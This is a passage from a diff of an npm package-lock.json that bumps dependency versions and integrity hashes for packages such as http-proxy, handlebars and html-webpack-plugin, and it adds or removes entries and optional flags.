"sha512-GHjtHDlY/ehslqv0Gr5N0PUJppgg/q0rOBvX0na1s7y1A3LWxPqCYU76s3Z1bM4+UZB4QF0usaXLT5wFpof5PA==", + "dev": true, + "requires": { + "debug": "3.1.0" + }, + "dependencies": { + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + } + } }, "font-awesome": { "version": "4.7.0", @@ -3350,16 +5074,11 @@ "resolved": "https://registry.npmjs.org/for-own/-/for-own-0.1.5.tgz", "integrity": "sha1-UmXGgaTylNq78XyVCbZ2OqhFEM4=", "dev": true, + "optional": true, "requires": { "for-in": "1.0.2" } }, - "foreach": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/foreach/-/foreach-2.0.5.tgz", - "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k=", - "dev": true - }, "forever-agent": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", @@ -3378,17 +5097,74 @@ } }, "forwarded": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.0.tgz", - "integrity": "sha1-Ge+YdMSuHCl7zweP3mOgm2aoQ2M=", + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", + "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=", "dev": true }, + "fragment-cache": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", + "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", + "dev": true, + "requires": { + "map-cache": "0.2.2" + } + }, "fresh": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.0.tgz", - "integrity": "sha1-9HTKXmqSRtb9jglTz6m5yAWvp44=", + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=", "dev": true }, + "from2": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", + "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", + "dev": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } + } + } + }, "fs-extra": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-1.0.0.tgz", @@ -3400,6 +5176,24 @@ "klaw": "1.3.1" } }, + "fs-readdir-recursive": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", + "integrity": "sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==", + "dev": true + }, + "fs-write-stream-atomic": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz", + "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", + "dev": true, + "requires": { + "graceful-fs": "4.1.11", + "iferr": "0.1.5", + "imurmurhash": "0.1.4", + "readable-stream": "1.0.34" + } + }, "fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", @@ -3809,6 +5603,7 @@ "version": "1.0.0", "bundled": true, "dev": true, + "optional": true, "requires": { "number-is-nan": "1.0.1" } @@ -3842,8 +5637,7 @@ "jsbn": { "version": "0.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "json-schema": { "version": "0.2.3", @@ -3895,12 +5689,14 @@ "mime-db": { "version": "1.27.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "mime-types": { "version": "2.1.15", "bundled": true, "dev": true, + "optional": true, "requires": { "mime-db": "1.27.0" } @@ -3974,7 +5770,8 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "oauth-sign": { "version": "0.8.2", @@ -4032,7 +5829,8 @@ "process-nextick-args": { "version": "1.0.7", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "punycode": { "version": "1.4.1", @@ -4070,6 +5868,7 @@ "version": "2.2.9", "bundled": true, "dev": true, + "optional": true, "requires": { "buffer-shims": "1.0.0", "core-util-is": "1.0.2", @@ -4121,7 +5920,8 @@ "safe-buffer": { "version": "5.0.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "semver": { "version": "5.3.0", @@ -4179,6 +5979,7 @@ "version": "1.0.2", "bundled": true, "dev": true, + "optional": true, "requires": { "code-point-at": "1.1.0", "is-fullwidth-code-point": "1.0.0", @@ -4189,6 +5990,7 @@ "version": "1.0.1", "bundled": true, "dev": true, + "optional": true, "requires": { "safe-buffer": "5.0.1" } @@ -4217,6 +6019,7 @@ "version": "2.2.1", "bundled": true, "dev": true, + "optional": true, "requires": { "block-stream": "0.0.9", "fstream": "1.0.11", @@ -4272,7 +6075,8 @@ "util-deprecate": { "version": "1.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "uuid": { "version": "3.0.1", @@ -4306,32 +6110,47 @@ } }, "function-bind": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.0.tgz", - "integrity": "sha1-FhdnFMgBeY5Ojyz391KUZ7tKV3E=", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", "dev": true }, - "generate-function": { + "functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", + "dev": true + }, + "get-caller-file": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz", + "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==", + "dev": true + }, + "get-func-name": { "version": "2.0.0", - "resolved": "https://registry.npmjs.org/generate-function/-/generate-function-2.0.0.tgz", - "integrity": "sha1-aFj+fAlpt9TpCTM3ZHrHn2DfvnQ=", + "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz", + "integrity": "sha1-6td0q+5y4gQJQzoGY2YCPdaIekE=", "dev": true }, - "generate-object-property": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/generate-object-property/-/generate-object-property-1.2.0.tgz", - "integrity": "sha1-nA4cQDCM6AT0eDYYuTf6iPmdUNA=", - "dev": true, - "requires": { - "is-property": "1.0.2" - } - }, "get-stdin": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=", "dev": true }, + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", + "dev": true + }, + "get-value": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", + "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=", + "dev": true + }, "getpass": { "version": "0.1.7", "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", @@ -4360,6 +6179,7 @@ "resolved": "https://registry.npmjs.org/glob-base/-/glob-base-0.3.0.tgz", "integrity": "sha1-27Fk9iIbHAscz4Kuoyi0l98Oo8Q=", "dev": true, + "optional": true, "requires": { "glob-parent": "2.0.0", "is-glob": "2.0.1" @@ -4382,16 +6202,14 @@ "requires": { "min-document": "2.19.0", "process": "0.5.2" - }, - "dependencies": { - "process": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/process/-/process-0.5.2.tgz", - "integrity": "sha1-FjjYqONML0QKkduVq5rrZ3/Bhc8=", - "dev": true - } } }, + "global-modules-path": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/global-modules-path/-/global-modules-path-2.3.0.tgz", + "integrity": "sha512-HchvMJNYh9dGSCy8pOQ2O8u/hoXaL+0XhnrwH0RyLiSXMMTl9W3N6KUU73+JFOg5PGjtzl6VZzUQsnrpm7Szag==", + "dev": true + }, "globals": { "version": "9.18.0", "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", @@ -4429,10 +6247,16 @@ "resolved": "https://registry.npmjs.org/hammerjs/-/hammerjs-2.0.8.tgz", "integrity": "sha1-BO93hiz/K7edMPdpIJWTAiK/YPE=" }, + "handle-thing": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-1.2.5.tgz", + "integrity": "sha1-/Xqtcmvxpf0W38KbL3pmAdJxOcQ=", + "dev": true + }, "handlebars": { - "version": "4.0.10", - "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.0.10.tgz", - "integrity": "sha1-PTDHGLCaPZbyPqTMH0A8TTup/08=", + "version": "4.0.11", + "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.0.11.tgz", + "integrity": "sha1-Ywo13+ApS8KB7a5v/F0yn8eYLcw=", "dev": true, "requires": { "async": "1.5.2", @@ -4483,12 +6307,12 @@ } }, "has": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.1.tgz", - "integrity": "sha1-hGFzP1OLCDfJNh45qauelwTcLyg=", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", "dev": true, "requires": { - "function-bind": "1.1.0" + "function-bind": "1.1.1" } }, "has-ansi": { @@ -4500,13 +6324,21 @@ "ansi-regex": "2.1.1" } }, - "has-binary": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/has-binary/-/has-binary-0.1.7.tgz", - "integrity": "sha1-aOYesWIQyVRaClzOBqhzkS/h5ow=", + "has-binary2": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-binary2/-/has-binary2-1.0.3.tgz", + "integrity": "sha512-G1LWKhDSvhGeAQ8mPVQlqNcOB2sJdwATtZKl2pDKKHfpf/rYj24lkinxf69blJbnsvtqqNU+L3SL50vzZhXOnw==", "dev": true, "requires": { - "isarray": "0.0.1" + "isarray": "2.0.1" + }, + "dependencies": { + "isarray": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.1.tgz", + "integrity": "sha1-o32U7ZzaLVmGXJ92/llu4fM4dB4=", + "dev": true + } } }, "has-cors": { @@ -4521,6 +6353,92 @@ "integrity": "sha1-nZ55MWXOAXoA8AQYxD+UKnsdEfo=", "dev": true }, + "has-symbols": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.0.tgz", + "integrity": "sha1-uhqPGvKg/DllD1yFA2dwQSIGO0Q=", + "dev": true + }, + "has-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", + "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", + "dev": true, + "requires": { + "get-value": "2.0.6", + "has-values": "1.0.0", + "isobject": "3.0.1" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + } + } + }, + "has-values": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", + "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", + "dev": true, + "requires": { + "is-number": "3.0.0", + "kind-of": "4.0.0" + }, + "dependencies": { + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "kind-of": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", + "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "hash-base": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.4.tgz", + "integrity": "sha1-X8hoaEfs1zSZQDMZprCj8/auSRg=", + "dev": true, + "requires": { + "inherits": "2.0.3", + "safe-buffer": "5.1.1" + } + }, + "hash.js": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.5.tgz", + "integrity": "sha512-eWI5HG9Np+eHV1KQhisXWwM+4EPPYe5dFX1UZZH7k/E3JzDEazVH+VGlZi6R94ZqImq+A3D1mCEtrFIfg/E7sA==", + "dev": true, + "requires": { + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1" + } + }, "hasha": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/hasha/-/hasha-2.2.0.tgz", @@ -4561,6 +6479,17 @@ "warning": "3.0.0" } }, + "hmac-drbg": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz", + "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=", + "dev": true, + "requires": { + "hash.js": "1.1.5", + "minimalistic-assert": "1.0.1", + "minimalistic-crypto-utils": "1.0.1" + } + }, "hoek": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz", @@ -4568,9 +6497,9 @@ "dev": true }, "hoist-non-react-statics": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-2.3.1.tgz", - "integrity": "sha1-ND24TGAYxlB3iJgkATWhQg7iLOA=" + "version": "2.5.5", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-2.5.5.tgz", + "integrity": "sha512-rqcy4pJo55FTTLWt+bU8ukscqHeE/e9KWvsOW2b/a3afxQZhwkQdT1rPPCJ0rYXdj4vNcasY8zHTH+jF/qStxw==" }, "home-or-tmp": { "version": "2.0.0", @@ -4583,51 +6512,438 @@ } }, "hosted-git-info": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.5.0.tgz", - "integrity": "sha1-bWDjSzq7yDEwYsO3mO+NkBoHrzw=", + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.7.1.tgz", + "integrity": "sha512-7T/BxH19zbcCTa8XkMlbK5lTo1WtgkFi3GvdWEyNuc4Vex7/9Dqbnpsf4JMydcfj9HCg4zUWFTL3Za6lapg5/w==", "dev": true }, - "html-comment-regex": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/html-comment-regex/-/html-comment-regex-1.1.1.tgz", - "integrity": "sha1-ZouTd26q5V696POtRkswekljYl4=", + "hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=", + "dev": true, + "requires": { + "inherits": "2.0.3", + "obuf": "1.1.2", + "readable-stream": "2.3.6", + "wbuf": "1.7.3" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } + } + } + }, + "html-entities": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-1.2.1.tgz", + "integrity": "sha1-DfKTUfByEWNRXfueVUPl9u7VFi8=", + "dev": true + }, + "html-loader": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/html-loader/-/html-loader-0.5.5.tgz", + "integrity": "sha512-7hIW7YinOYUpo//kSYcPB6dCKoceKLmOwjEMmhIobHuWGDVl0Nwe4l68mdG/Ru0wcUxQjVMEoZpkalZ/SE7zog==", + "dev": true, + "requires": { + "es6-templates": "0.2.3", + "fastparse": "1.1.1", + "html-minifier": "3.5.19", + "loader-utils": "1.1.0", + "object-assign": "4.1.1" + }, + "dependencies": { + "loader-utils": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", + "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "dev": true, + "requires": { + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" + } + } + } + }, + "html-minifier": { + "version": "3.5.19", + "resolved": "https://registry.npmjs.org/html-minifier/-/html-minifier-3.5.19.tgz", + "integrity": "sha512-Qr2JC9nsjK8oCrEmuB430ZIA8YWbF3D5LSjywD75FTuXmeqacwHgIM8wp3vHYzzPbklSjp53RdmDuzR4ub2HzA==", + "dev": true, + "requires": { + "camel-case": "3.0.0", + "clean-css": "4.1.11", + "commander": "2.16.0", + "he": "1.1.1", + "param-case": "2.1.1", + "relateurl": "0.2.7", + "uglify-js": "3.4.7" + }, + "dependencies": { + "commander": { + "version": "2.16.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.16.0.tgz", + "integrity": "sha512-sVXqklSaotK9at437sFlFpyOcJonxe0yST/AG9DkQKUdIE6IqGIMv4SfAQSKaJbSdVEJYItASCrBiVQHq1HQew==", + "dev": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "uglify-js": { + "version": "3.4.7", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.7.tgz", + "integrity": "sha512-J0M2i1mQA+ze3EdN9SBi751DNdAXmeFLfJrd/MDIkRc3G3Gbb9OPVSx7GIQvVwfWxQARcYV2DTxIkMyDAk3o9Q==", + "dev": true, + "requires": { + "commander": "2.16.0", + "source-map": "0.6.1" + } + } + } + }, + "html-webpack-plugin": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-3.2.0.tgz", + "integrity": "sha1-sBq71yOsqqeze2r0SS69oD2d03s=", + "dev": true, + "requires": { + "html-minifier": "3.5.19", + "loader-utils": "0.2.17", + "lodash": "4.17.10", + "pretty-error": "2.1.1", + "tapable": "1.0.0", + "toposort": "1.0.7", + "util.promisify": "1.0.0" + } + }, + "htmlparser2": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.3.0.tgz", + "integrity": "sha1-zHDQWln2VC5D8OaFyYLhTJJKnv4=", + "dev": true, + "requires": { + "domelementtype": "1.3.0", + "domhandler": "2.1.0", + "domutils": "1.1.6", + "readable-stream": "1.0.34" + }, + "dependencies": { + "domutils": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.1.6.tgz", + "integrity": "sha1-vdw94Jm5ou+sxRxiPyj0FuzFdIU=", + "dev": true, + "requires": { + "domelementtype": "1.3.0" + } + } + } + }, + "http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc=", "dev": true }, "http-errors": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz", - "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=", + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", "dev": true, "requires": { - "depd": "1.1.1", + "depd": "1.1.2", "inherits": "2.0.3", - "setprototypeof": "1.0.3", - "statuses": "1.3.1" + "setprototypeof": "1.1.0", + "statuses": "1.5.0" } }, + "http-parser-js": { + "version": "0.4.13", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.4.13.tgz", + "integrity": "sha1-O9bW/ebjFyyTNMOzO2wZPYD+ETc=", + "dev": true + }, "http-proxy": { - "version": "1.16.2", - "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.16.2.tgz", - "integrity": "sha1-Bt/ykpUr9k2+hHH6nfcwZtTzd0I=", + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.17.0.tgz", + "integrity": "sha512-Taqn+3nNvYRfJ3bGvKfBSRwy1v6eePlm3oc/aWVxZp57DQr5Eq3xhKJi7Z4hZpS8PC3H4qI+Yly5EmFacGuA/g==", "dev": true, "requires": { - "eventemitter3": "1.2.0", + "eventemitter3": "3.1.0", + "follow-redirects": "1.5.5", "requires-port": "1.0.0" } }, "http-proxy-middleware": { - "version": "0.17.4", - "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.17.4.tgz", - "integrity": "sha1-ZC6ISIUdZvCdTxJJEoRtuutBuDM=", + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.18.0.tgz", + "integrity": "sha512-Fs25KVMPAIIcgjMZkVHJoKg9VcXcC1C8yb9JUgeDvVXY0S/zgVIhMb+qVswDIgtJe2DfckMSY2d6TuTEutlk6Q==", "dev": true, "requires": { - "http-proxy": "1.16.2", - "is-glob": "3.1.0", - "lodash": "4.17.4", - "micromatch": "2.3.11" + "http-proxy": "1.17.0", + "is-glob": "4.0.0", + "lodash": "4.17.10", + "micromatch": "3.1.10" }, "dependencies": { + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "requires": { + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "requires": { + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "0.1.6" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": 